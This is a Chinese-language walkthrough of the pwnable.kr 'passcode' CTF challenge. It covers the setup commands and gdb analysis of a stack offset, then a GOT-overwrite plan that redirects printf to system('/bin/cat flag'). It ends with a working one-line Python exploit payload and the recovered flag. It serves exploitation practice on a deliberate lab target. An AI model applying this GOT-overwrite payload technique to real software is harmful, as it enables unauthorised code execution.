1、基本操作:
# 连接,密码:guest
0、 $ ssh random@pwnable.kr -p2222
# 本地执行命令2、3下载二进制及源码,密码:guest
1、 $ scp <用户名>@<ip地址>:<服务器文件位置的绝对路径> <接收路径>
2、 $ scp -P 2222 passcode@pwnable.kr:/home/passcode/passcode.c ./
3、 $ scp -P 2222 passcode@pwnable.kr:/home/passcode/passcode ./
# 注: -P 指定端口
# 前置操作
4、 checksec passcode #查看保护机制
5、 file passcode #查看文件信息
6、 文件丢入ida,shift+F7查看内存分区信息,shift+F12查看字符串信息
7、 分析源代码
2、参考链接:pwnable.kr passcode_passcodessh-en_QQQqQqqqqrrrr的博客-CSDN博客
源代码在这就不分析了,自行去找其他题解。
3、gdb代码调试:
①:b main下断点,r 运行得到以下界面
②:si 跟进welcome函数记录welcome函数的ebp
③:由welcome函数中的 scanf("%100s", name); 可知最多读入100个字符
④:多步 ni 走出 welcome 函数
⑤:可以看到 login 函数的 ebp 与 welcome 函数的 ebp 相同,接着往下
⑥:分析 scanf("%d", passcode1); yaaa是在welcome函数时就读入的在栈上的
⑦:查找偏移,可知偏移为96
⑧:分析 scanf("%d", passcode2);
⑨:源码中有 system("/bin/cat flag"); 函数,但已知我们只能控passcode1不能控passcode2,所以这题不能依靠修改passcode1,passcode2使程序正常执行来执行 system("/bin/cat flag"); 获取flag
ida中 shift+F7 得知 got 表所在地址
点进去查看可知函数范围为0x0804A000-0x0804A020
vmmap查看可知 0x0804A000-0x0804A020 段可写(r,w,x,p依次对应读,写,执行,p我目前不知道)
⑩:综上,我们的思路是将 got 表中 printf 函数的地址(即0x0804A000)中存的值修改为 system("/bin/cat flag"); 的地址(0x080485E3)即可,随后程序执行到 printf 函数就相当于执行system("/bin/cat flag");
写exp用脚本打的话不知道怎么发送十进制数,这里就照搬参考链接中的解题手法好了
python -c "print 'A' * 96 + '\x00\xa0\x04\x08' + '134514147\n'" | ./passcode
$ flag{Sorry mom.. I got confused about scanf usage :(}